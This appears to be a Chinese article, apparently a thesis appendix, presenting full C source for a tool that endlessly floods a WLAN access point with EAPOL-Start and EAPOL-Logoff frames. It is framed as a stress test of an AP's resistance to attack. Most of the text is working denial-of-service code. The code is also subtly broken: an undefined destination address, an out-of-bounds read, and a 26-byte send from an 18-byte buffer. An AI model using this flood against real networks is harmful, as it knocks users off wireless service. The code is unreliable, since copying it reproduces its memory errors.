利用winpcap/libnet開發EAPOL-START/LOGOFF攻擊測試工具

   攻擊工具的原理是通過不斷地向WLAN AP發送EAPOL-Start和EAPOL-Logoff報文,從而使WLAN AP的狀態機中頻繁刷新網卡的狀態。這個測試工具可以用來測試WLAN AP的性能和抗攻擊的能力。
    程序中除了主函數外,有以下5個函數:
u_char *get_src_mac();
u_char *eapol_create_start_stop_frame(char stst);
char *send_frame(u_char *frame_ptr, int frame_size);
void txStart();
void txLogoff();
    其中,get_src_mac()函數的作用是獲取本地無線網卡的mac,注意攻擊之前無線網卡要連上WLAN AP。eapol_create_start_stop_frame(char stst)函數根據輸入參數的不同可以選擇構造EAPOL-Start和EAPOL-Logoff報文。send_frame(u_char *frame_ptr, int frame_size)函數負責數據包的發送。void txStart()和void txLogoff()兩個函數調用其它函數完成EAPOL-Start和EAPOL-Logoff報文的發送過程。
通過對無線報文進行抓包,可以看到試驗的結果如圖4-13所示:
          
  圖4-13 EAPOL-Start/Logoff報文攻擊的過程

從抓包結果可以看出,當無線網卡發送EAPOL-Start報文時,WLAN AP做出了迴應EAP-Request。由於不同WLAN AP對報文的響應時間可能不同。因此可以通過調整EAPOL-Start和EAPOL-Logoff報文之間的發送時間來達到最大的測試效果。在這裏可以使用Sleep(int n)函數來實現,n的單位爲毫秒。

附錄C EAPOL_START攻擊測試工具的源代碼

EAPOL-START攻擊工具的源代碼如下所示:
// EAPOL_START_ATTACK.cpp : Defines the entry point for the console application.
#include "stdafx.h"
#include "stdio.h"
#include <win32/libnet.h>
#define ETH_ADDR_LEN 6
#define EAPOL_START     1
#define EAPOL_LOGOFF   2
typedef unsigned char u_char;
libnet_t *l=NULL;
 
//得到本地網卡的mac地址
u_char *get_src_mac()
{
u_char *ret_mac=NULL;
struct libnet_ether_addr *e;
e = libnet_get_hwaddr(l);
ret_mac = (u_char *)malloc(ETH_ADDR_LEN);/*分配一塊mac地址的存儲單元*/
memcpy(ret_mac, e->ether_addr_octet, ETH_ADDR_LEN);
return (u_char *)ret_mac;
}
 
//構造EAPOL-Start和EAPOL-Logoff報文的函數,當stst的值爲EAPOL_START時構造EAPOL-Start報文,當stst的值爲EAPOL_LOGOFF時構造的是EAPOL-Logoff函數。
u_char *eapol_create_start_stop_frame(char stst)
{
u_char static * eapol_start;
u_char *src_addr;
eapol_start = (u_char *)malloc(18);  //爲EAPOL-START報文分配18字節的空間
memcpy(eapol_start, eapol_dst, 6); // 拷貝目的地址
src_addr = get_src_mac();
memcpy(&eapol_start[6], src_addr, 6);  //拷貝源地址
free(src_addr);
src_addr = NULL;
eapol_start[12] = 0x88;           // 0x888e 是EAPOL幀類型
eapol_start[13] = 0x8e;
eapol_start[14] = 1;                   // EAPOL的版本
eapol_start[15] = stst;              //定義發送的報文類型
eapol_start[16] = 0;                   // 沒有負載.
eapol_start[17] = 0;
return eapol_start;
}
 
//發送報文的函數,函數的形參是指向一個待發送數據包的指針
char *send_frame(u_char *frame_ptr, int frame_size)
{
if(frame_ptr[23]==0xcd)
        frame_ptr[23]=0x00;
int i=0;
if ((i = libnet_write_link(l,frame_ptr,frame_size)) == -1)
        return ("Error sending frame");
return NULL;
}
//發送EAPOL-Start報文
void txStart()
{
 printf("send txStart/n");   
 u_char *temp;
 temp = eapol_create_start_stop_frame(EAPOL_START);
 if (send_frame(temp, 26) == NULL)
     printf("send eap_start to link./n");
 free(temp);
 temp = NULL;
}
 
//發送EAPOL-Logoff報文
void txLogoff()
{
printf("send txLogoff/n");   
u_char *temp;
temp = eapol_create_start_stop_frame(EAPOL_LOGOFF);
send_frame(temp, 18);
free(temp);
temp = NULL;
}
//EAPOL-Start/Logoff攻擊工具的主函數
void main(int argc, char** argv)
{
char *device=NULL;
char error_information[LIBNET_ERRBUF_SIZE];
printf("EAPOL_START攻擊開始:/n");
while (1) {
        l=libnet_init(LIBNET_LINK_ADV,device,error_information);    
        txStart();
        Sleep(10);
        txLogoff();
        libnet_destroy(l);
        Sleep(10);
}
}
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章